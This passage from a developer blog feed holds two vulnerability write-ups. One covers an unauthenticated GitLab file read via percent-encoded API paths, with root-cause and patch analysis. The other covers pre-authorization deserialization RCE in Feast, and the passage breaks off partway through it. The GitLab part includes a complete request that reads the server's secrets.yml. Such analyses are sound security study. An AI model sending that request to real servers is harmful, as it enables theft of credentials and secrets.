&lt;td&gt;19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reporter&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;s3ntago&lt;/code&gt; (HackerOne #3909881)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Notes&lt;/td&gt;
&lt;td&gt;Added to CISA KEV; exploited in the wild within 24 hours of disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In one sentence: &lt;strong&gt;a single unauthenticated HTTP request can read any file the GitLab server process has permission to read.&lt;/strong&gt; The file-upload handling behind the Repository Commits API and Repository Files API skips authentication entirely and passes a client-controlled absolute path straight into &lt;code&gt;File.read&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Background — GitLab's request pipeline
&lt;/h2&gt;

&lt;p&gt;To understand this bug, you first need to see how GitLab handles a single request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client → Nginx → GitLab Workhorse → Puma → Grape (Rails API)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Workhorse&lt;/strong&gt; is a Go-based reverse proxy sitting in front of Rails. It intercepts heavy I/O work — large Git transfers, file uploads — before it ever reaches Rails. For file uploads, Workhorse writes the file to a temp location itself and hands the result (path, size) to Rails via a signed header (&lt;code&gt;Gitlab-Workhorse-Api-Request&lt;/code&gt; JWT).&lt;/li&gt;
&lt;li&gt;Any request Workhorse doesn't intercept is passed through to Puma, which routes it to &lt;strong&gt;Grape&lt;/strong&gt; (the framework GitLab uses for API routing).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key detail is that these two components handle URLs differently.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Workhorse's route-matching regex operates on &lt;code&gt;EscapedPath()&lt;/code&gt; — the &lt;strong&gt;raw, still-percent-encoded&lt;/strong&gt; path — anchored with &lt;code&gt;\z&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Puma, on the other hand, &lt;strong&gt;decodes&lt;/strong&gt; &lt;code&gt;%XX&lt;/code&gt; percent-encoding &lt;em&gt;before&lt;/em&gt; handing the request to Grape.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Root cause — a percent-decoding differential
&lt;/h2&gt;

&lt;p&gt;A normal commit-lookup request looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/v4/projects/1/repository/commits
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Workhorse classifies any request whose path ends exactly in &lt;code&gt;commits&lt;/code&gt; as its own upload-handling route. But watch what happens when an attacker percent-encodes just one character:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/v4/projects/1/repository/%63ommits
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;To Workhorse, this path does &lt;em&gt;not&lt;/em&gt; end in &lt;code&gt;commits&lt;/code&gt; (&lt;code&gt;%63ommits&lt;/code&gt; ≠ &lt;code&gt;commits&lt;/code&gt;), because its regex never decodes percent sequences. It fails to classify the request as an upload route and simply &lt;strong&gt;lets it fall through as ordinary proxied traffic.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Puma, however, decodes &lt;code&gt;%63&lt;/code&gt; → &lt;code&gt;c&lt;/code&gt; before handing off to Grape, so Grape sees a perfectly normal route match: &lt;code&gt;POST :id/repository/commits&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In other words, you end up with a request that &lt;strong&gt;Workhorse never treated as an upload, but Rails processes as if it were a legitimate upload endpoint.&lt;/strong&gt; The same trick works by percent-encoding any single character in &lt;code&gt;commits&lt;/code&gt;, &lt;code&gt;repository&lt;/code&gt;, or &lt;code&gt;files&lt;/code&gt;. Further analysis also showed that appending a &lt;code&gt;.json&lt;/code&gt; format suffix or an extra trailing slash produces the same effect — defeating Workhorse's &lt;code&gt;\z&lt;/code&gt;-anchored regex.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feb3lf1ph7kdvipitqaax.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feb3lf1ph7kdvipitqaax.png" alt=" " width="800" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Source-level analysis — how this reaches unauthenticated file reads
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1) &lt;code&gt;require_gitlab_workhorse!&lt;/code&gt; is not authentication
&lt;/h3&gt;

&lt;p&gt;The commit-creation endpoint behind the Repository Commits API was structured roughly like this (pseudocode reconstructed from public exploit writeups):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Grape endpoint (vulnerable version)&lt;/span&gt;
&lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="s1"&gt;':id/repository/commits'&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;require_gitlab_workhorse!&lt;/span&gt;          &lt;span class="c1"&gt;# ← only this&lt;/span&gt;
  &lt;span class="c1"&gt;# authenticate!                    # ← this line was missing&lt;/span&gt;

  &lt;span class="n"&gt;file_params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;file_params_from_body_upload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;# ... commit action processing ...&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;require_gitlab_workhorse!&lt;/code&gt; only checks &lt;em&gt;whether the request passed through Workhorse&lt;/em&gt; — specifically, whether the &lt;code&gt;Gitlab-Workhorse-Api-Request&lt;/code&gt; JWT header is present. The problem: &lt;strong&gt;Workhorse attaches that signed header to every request it proxies&lt;/strong&gt;, regardless of whether it classified the request as an upload. So even after the percent-encoding trick bypasses Workhorse's upload interception, the request is still physically proxied through Workhorse, and the signature is still attached.&lt;/p&gt;

&lt;p&gt;As a result, &lt;code&gt;require_gitlab_workhorse!&lt;/code&gt; doesn't actually verify a user's identity — it just confirms the request came through Workhorse. This endpoint was originally supposed to follow that check with &lt;code&gt;authenticate!&lt;/code&gt; (real session/personal-access-token verification). With that line missing, the handler is reachable regardless of login state.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) &lt;code&gt;file_params_from_body_upload&lt;/code&gt; trusts client input directly
&lt;/h3&gt;

&lt;p&gt;In a legitimate flow, &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;file.path&lt;/code&gt;, and &lt;code&gt;file.size&lt;/code&gt; should only ever come from Workhorse having actually written a file to a temp location and reporting the result. But since this request bypassed Workhorse's upload logic entirely, those values are &lt;strong&gt;just attacker-forged query parameters.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# CommitsBodyUploaderHelper (vulnerable version, pseudocode)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;file_params_from_body_upload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file.path'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="c1"&gt;# attacker-controlled absolute path, used as-is&lt;/span&gt;
  &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file.size'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt; &lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exist?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# also usable as a file-existence oracle&lt;/span&gt;
  &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                       &lt;span class="c1"&gt;# arbitrary file read happens here&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Parameter validation such as &lt;code&gt;requires :file, WorkhorseFile&lt;/code&gt; was found to pass even with a blank &lt;code&gt;file=&lt;/code&gt; value, since it coerces to &lt;code&gt;nil&lt;/code&gt;. That means a single request like this reaches the vulnerable sink:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/v4/projects/1/repository/%63ommits
    ?file=
    &amp;amp;file.path=/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
    &amp;amp;file.size=1
Content-Type: application/x-www-form-urlencoded
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, an attacker can already probe file existence without authentication (an existence oracle). Getting the actual file &lt;em&gt;contents&lt;/em&gt; back requires one more step.&lt;/p&gt;

&lt;h3&gt;
  
  
  3) Leaking content through an error message
&lt;/h3&gt;

&lt;p&gt;When &lt;code&gt;Content-Type: application/x-www-form-urlencoded&lt;/code&gt; is used, the file content that was just read gets handed to &lt;code&gt;Rack::Utils.parse_nested_query&lt;/code&gt;, which tries to parse it as a query string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pseudocode — urlencoded branch&lt;/span&gt;
&lt;span class="n"&gt;file_content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="no"&gt;Rack&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_nested_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# tries to parse file bytes as a querystring&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ordinary configuration files (YAML, JSON, etc.) very often contain a &lt;code&gt;%&lt;/code&gt; character &lt;strong&gt;not followed by two hex digits.&lt;/strong&gt; When that happens, &lt;code&gt;Rack::QueryParser::InvalidParameterError&lt;/code&gt; is raised — and its message &lt;strong&gt;embeds the raw bytes it was trying to parse.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rack::QueryParser::InvalidParameterError:
  invalid %-encoding (&amp;lt;raw file content appears here&amp;gt;)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because this exception message is returned verbatim in the HTTP 400 response body, &lt;strong&gt;an unauthenticated attacker can retrieve the full file content.&lt;/strong&gt; Interestingly, the JSON content-type branch (which uses the &lt;code&gt;Oj&lt;/code&gt; parser) doesn't trigger this error, so the request must specifically use urlencoded content to get content echoed back.&lt;/p&gt;

&lt;h3&gt;
  
  
  4) An alternate trigger — the Repository Files API
&lt;/h3&gt;

&lt;p&gt;The same &lt;code&gt;file_params_from_body_upload&lt;/code&gt; sink is also reused by the &lt;code&gt;POST&lt;/code&gt;/&lt;code&gt;PUT :id/repository/files/:file_path&lt;/code&gt; endpoints. Analysis found that this route can be bypassed not with percent-encoding but simply by &lt;strong&gt;adding a trailing slash&lt;/strong&gt;, which also defeats Workhorse's &lt;code&gt;\z&lt;/code&gt;-anchored regex. Unlike the Commits API, this variant was reported to work &lt;strong&gt;without needing any accessible project ID at all.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  PoC
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/xUE3uKufSiw" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Patch analysis — what changed in 19.3.2
&lt;/h2&gt;

&lt;p&gt;The fix commit (&lt;code&gt;0d9ce3e7&lt;/code&gt; on master, backported as &lt;code&gt;1fe30154&lt;/code&gt; / &lt;code&gt;b43c8b26&lt;/code&gt; / &lt;code&gt;0ff7b6b2&lt;/code&gt;) makes three changes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1lfq676gjxxxu436u3h6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1lfq676gjxxxu436u3h6.png" alt=" " width="800" height="496"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Added &lt;code&gt;authenticate!&lt;/code&gt;&lt;/strong&gt; — Real user authentication is now enforced on all three commits/files-related endpoints, plus the preceding &lt;code&gt;/authorize&lt;/code&gt; step. The check is no longer "did this pass through Workhorse" but "is this an authenticated user."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restricted where file metadata can come from&lt;/strong&gt; — &lt;code&gt;file.path&lt;/code&gt; and &lt;code&gt;file.size&lt;/code&gt; are no longer read directly from request parameters. They're only taken from the &lt;code&gt;UploadedFile&lt;/code&gt; object that the Workhorse middleware actually created, closing off the path a client could use to inject an arbitrary location.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stopped exposing parser exception messages&lt;/strong&gt; — Exceptions raised by &lt;code&gt;Rack::Utils.parse_nested_query&lt;/code&gt; are no longer surfaced verbatim in the response body, so even if a similar parsing path were hit again, it wouldn't lead to content echo.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>gitlab</category>
      <category>python</category>
      <category>ubuntu</category>
      <category>cve</category>
    </item>
    <item>
      <title>When Authorization Runs Too Late: RCE via Insecure Deserialization in Feast (CVE-2026-56121)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sun, 13 Sep 2026 00:45:33 +0000</pubDate>
      <link>https://dev.to/guidance_white/when-authorization-runs-too-late-rce-via-insecure-deserialization-in-feast-cve-2026-56121-3665</link>
      <guid>https://dev.to/guidance_white/when-authorization-runs-too-late-rce-via-insecure-deserialization-in-feast-cve-2026-56121-3665</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz4eg1vqdrcq221j4tz0l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz4eg1vqdrcq221j4tz0l.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-56121&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Feast &amp;lt; 0.63.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched version&lt;/td&gt;
&lt;td&gt;0.63.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability type&lt;/td&gt;
&lt;td&gt;CWE-502 (Deserialization of Untrusted Data)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.8 (Critical) — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack surface&lt;/td&gt;
&lt;td&gt;Registry gRPC server &lt;code&gt;RegistryServer.ApplyFeatureView&lt;/code&gt; (default port 6570)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth required&lt;/td&gt;
&lt;td&gt;None (&lt;code&gt;auth.type: no_auth&lt;/code&gt; is the default, and even with auth enabled, the vulnerable code path is reached before the authorization check runs)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Feast is an open-source feature store used in ML pipelines to define, store, and serve features. Users can register &lt;code&gt;FeatureView&lt;/code&gt; specs — including user-defined transformation functions (UDFs) — with a Registry server over gRPC via an &lt;code&gt;Apply&lt;/code&gt; call. This CVE is a structural flaw in that registration flow: &lt;strong&gt;deserialization happens before authorization&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. The core issue — execution order
&lt;/h2&gt;

&lt;p&gt;In a properly designed server, requests should flow through this order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Receive request → Authenticate → Authorize → Parse/deserialize payload → Run business logic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But Feast's Registry server handler for &lt;code&gt;ApplyFeatureView&lt;/code&gt; had the order reversed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Receive request → Deserialize payload (dill.loads) → Authorize → Run business logic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In other words, &lt;strong&gt;binary (pickle) data sent by the attacker is executed as Python code before the server ever checks whether the caller is allowed to perform the action.&lt;/strong&gt; The authorization check does still get called — it's just called after the damage is already done, which makes it essentially meaningless.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Source-level analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2-1. Entry point — &lt;code&gt;registry_server.py&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Feast's Registry gRPC server handles the &lt;code&gt;ApplyFeatureView&lt;/code&gt; RPC, called whenever a client registers a new feature view, roughly like this (trimmed for clarity, but the flow is preserved from the real source):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# sdk/python/feast/registry_server.py
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ApplyFeatureView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;feature_view_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;WhichOneof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;base_feature_view&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;feature_view_type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;feature_view&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;feature_view&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FeatureView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_proto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feature_view&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;feature_view_type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;on_demand_feature_view&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;feature_view&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OnDemandFeatureView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_proto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on_demand_feature_view&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;                                    &lt;span class="c1"&gt;# ← (1) deserialization happens first
&lt;/span&gt;    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;feature_view_type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stream_feature_view&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;feature_view&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;StreamFeatureView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_proto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stream_feature_view&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;assert_permissions_to_update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;feature_view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;  &lt;span class="c1"&gt;# ← (2) auth check comes later
&lt;/span&gt;    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;proxied_registry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;apply_feature_view&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two lines matter here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;(1)&lt;/strong&gt; &lt;code&gt;OnDemandFeatureView.from_proto(request.on_demand_feature_view)&lt;/code&gt; — converts the client's protobuf message into a Python object. This is where the actual deserialization vulnerability lives.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;(2)&lt;/strong&gt; &lt;code&gt;assert_permissions_to_update(...)&lt;/code&gt; — checks whether the caller is actually allowed to create or modify this feature view. &lt;strong&gt;It only runs after (1) has already completed.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read in isolation, this looks like ordinary request handling. The real problem is what happens inside step (1).&lt;/p&gt;

&lt;h3&gt;
  
  
  2-2. What is an &lt;code&gt;OnDemandFeatureView&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;Feast supports "on-demand" features — values computed at request time rather than read from storage. For example, &lt;code&gt;order_price / distance_km&lt;/code&gt; computed on the fly rather than pulled from a table. This is backed by a &lt;strong&gt;user-written Python function (the transformation/UDF)&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@on_demand_feature_view&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;price_per_km&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;price_per_km&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;order_price&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;distance_km&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



